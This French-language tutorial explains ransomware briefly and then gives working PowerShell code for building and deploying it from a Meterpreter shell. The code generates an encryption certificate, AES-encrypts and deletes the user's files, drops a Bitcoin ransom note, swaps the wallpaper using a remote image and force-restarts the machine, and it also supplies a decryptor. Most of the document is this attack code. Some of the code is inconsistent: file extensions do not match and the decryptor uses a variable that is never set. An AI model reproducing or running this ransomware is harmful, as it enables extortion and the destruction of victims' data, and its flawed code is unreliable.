




Un rançongiciel de l’anglais ransomware, logiciel de rançon ou logiciel d’extorsion, est un logiciel malveillant qui prend en otage des données personnelles.
Un ransomware peut aussi bloquer l’accès de tout utilisateur à une machine jusqu’à ce qu’une clé ou un outil de déchiffrement soit envoyé à la victime en échange d’une somme d’argent. Les modèles modernes de rançongiciels sont apparus en Russie initialement, mais on constate que le nombre d’attaques de ce type a grandement augmenté dans d’autres pays, entre autres l’Australie, l’Allemagne, les États-Unis.
Note: Un certificat électronique (aussi appelé certificat numérique ou certificat de clé publique) peut être vu comme une carte d’identité numérique. Il est utilisé principalement pour identifier et authentifier une personne physique ou morale, mais aussi pour chiffrer des échanges.
Il s’agit également d’un concept très important pour tous ceux qui sont de véritables autorités en termes de sécurité informatique.
Le standard le plus utilisé pour la création des certificats numériques est le X.509.
$cert = New-SelfSignedCertificate `
-DnsName $YOUR_NAME `
-CertStoreLocation "Cert:\CurrentUser\My" `
-KeyLength 3072 `
-HashAlgorithm "Sha384" `
-NotBefore ((Get-Date).AddDays(-1)) `
-NotAfter (Get-Date -Year 2099 -Month 12 -Day 31) `
-Type DocumentEncryptionCert `
-KeyUsage KeyEncipherment, DataEncipherment
> Export-Certificate -Cert $cert -FilePath "cert.cer" | Out-Null
base64 permet de chiffrer le certificat en texte afin de pouvoir le copier plus facilement qu’en binaire
[Convert]::ToBase64String(
[IO.File]::ReadAllBytes("/users/...../cert.cer")
)
meterpreter > shell
> powershell
> Add-Type -AssemblyName System.web
> $pwd = [system.web.security.membership]::GeneratePassword(32,15)
> $cert = "MIIECDCCAnCgAwIBAgIQFTufS/aikLxCOTgoWoLnyDANBgkqhkiG9w0BAQwFADARMQ8wDQYDVQQDDAZteWNlcnQwIBcNMTkxMTI5MTUyODQ3WhgPMjA5OTEyMzExNTI4NDhaMBExDzANBgNVBAMMBm15Y2VydDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAM/tJpom3ha8jKgtYzqoC2vIeJ/7xAHJ/B/q+FPS3ByhfsggnazOgM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fcb/Rph0X+G97ErvOqlvhvfnvX0AosdCHnneYoBy0IcZYji2reAA=="
> $cert = [IO.File]::WriteAllBytes("/windows/temp/x.cer", [Convert]::FromBase64String($cert))
> echo (Protect-CmsMessage -Content $pwd -To "/windows/temp/x.cer") > /users/$env:USERNAME/desktop/encrypted_key.txt
Fonction de chiffrement d’un fichier:
Function Encr{param([string]$i,[string]$p)
process{
[System.Security.Cryptography.AesCryptoServiceProvider]$a=[System.Security.Cryptography.AesCryptoServiceProvider]::new()
$a.BlockSize=128
$a.KeySize=256
$a.Mode=[System.Security.Cryptography.CipherMode]::CBC
$a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7
$a.GenerateIV();[byte[]]$IV=$a.IV;[byte[]]$k=[system.Text.Encoding]::UTF8.GetBytes($pwd)
[System.IO.FileStream]$fout=[System.IO.FileStream]::new($i+".MAD_666",[System.IO.FileMode]::Create)
[System.Security.Cryptography.ICryptoTransform]$IC=$a.CreateEncryptor($k,$IV)
[System.Security.Cryptography.CryptoStream]$CS=[System.Security.Cryptography.CryptoStream]::new($fout, $IC, [System.Security.Cryptography.CryptoStreamMode]::Write)
[System.IO.FileStream]$fin=[System.IO.FileStream]::new($i,[System.IO.FileMode]::Open)
$fout.Write($IV,0,$IV.Count)
$DA=$true;[int]$D
While ($DA){
$D=$fin.ReadByte()
if($D -ne -1){
$CS.WriteByte([byte]$D)
}
else{
$DA = $false
}
}
$fin.Dispose();
$CS.Dispose();
$fout.Dispose()
}
}
Boucle pour chiffrer tout les fichiers:
foreach ($i in
$(Get-ChildItem /users/$env:USERNAME -recurse -include *.txt,*.jpg,*mp3 | ForEach-Object { $_.FullName })
){
Encr -i $i -p $pwd
$size = [math]::round(((Get-Item $i)).length/4)+1
$str = "hack" * $size
echo $str > $i
rm $i
}
Effacer la variable de mot de passe:
> remove-variable pwd
Instructions pour la victime:
> $email = 'mon@email'
> $btc = ''
> echo "Send 0.1 btc to this account: $btc
After that, for the decryption keys and instructions for how to retrieve your files
send the content of the encrypted_keys and a proof of payment to this email:
$email" > /users/$env:USERNAME/desktop/README.txt
> $img = 'http://xxx.xxx.Xxx/xxx.jpg'
> Invoke-WebRequest -Uri $img -OutFile "/users/$env:USERNAME/img.jpg"
> Set-ItemProperty -path 'HKCU:\Control Panel\Desktop\' -name wallpaper -value "/users/$env:USERNAME/img.jpg"
> rundll32.exe user32.dll, UpdatePerUserSystemParameters
Redémarrer:
> restart-computer -force
La victime va envoyer la clé chiffrée avec le certificat public, pour la déchiffrer. Sur la machine de l’attaquant, avec le certificat privé
> Unprotect-CmsMessage -path .../encrypted_key.txt
$pwd = '' # Le password decrypté
function Decr{
param([string]$i,[string]$p)
process {
$out = $i -replace ".{7}$"
[System.IO.FStream]$FileStreamIn = [System.IO.FileStream]::new($i,[System.IO.FileMode]::Open)
[byte[]]$IV = New-Object byte[] 16; $FileStreamIn.Read($IV, 0, $IV.Length)
[System.Security.Cryptography.AesCryptoServiceProvider]$Aes = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
$Aes.BlockSize = 128; $Aes.KeySize = 256; $Aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$Aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
[byte[]]$Key = [system.Text.Encoding]::UTF8.GetBytes($Password)
[System.IO.FileStream]$FileStreamOut = [System.IO.FileStream]::new($out,[System.IO.FileMode]::Create)
[System.Security.Cryptography.ICryptoTransform]$ICryptoTransform = $Aes.CreateDecryptor($Key,$IV)
[System.Security.Cryptography.CryptoStream]$CryptoStream = [System.Security.Cryptography.CryptoStream]::new($FileStreamIn, $ICryptoTransform, [System.Security.Cryptography.CryptoStreamMode]::Read)
$DataAvailable = $true; [int]$Data
While ($DataAvailable){
$Data = $CryptoStream.ReadByte()
if($Data -ne -1){
$FileStreamOut.WriteByte([byte]$Data)
}
else{
$DataAvailable = $false
}
}
$FileStreamIn.Dispose()
$CryptoStream.Dispose()
$FileStreamOut.Dispose()
}
}
On envoie par mail a la victime le script qu’il devra copier-coller dans powershell…
# On loop et decrypte les fichiers avec l'extention ".LCK_666"
foreach ($i in $(Get-ChildItem /users/$env:USERNAME -recurse -include *.LCK_666 | ForEach-Object { $_.FullName })){
Decr -i $i -p $pwd
rm $i
}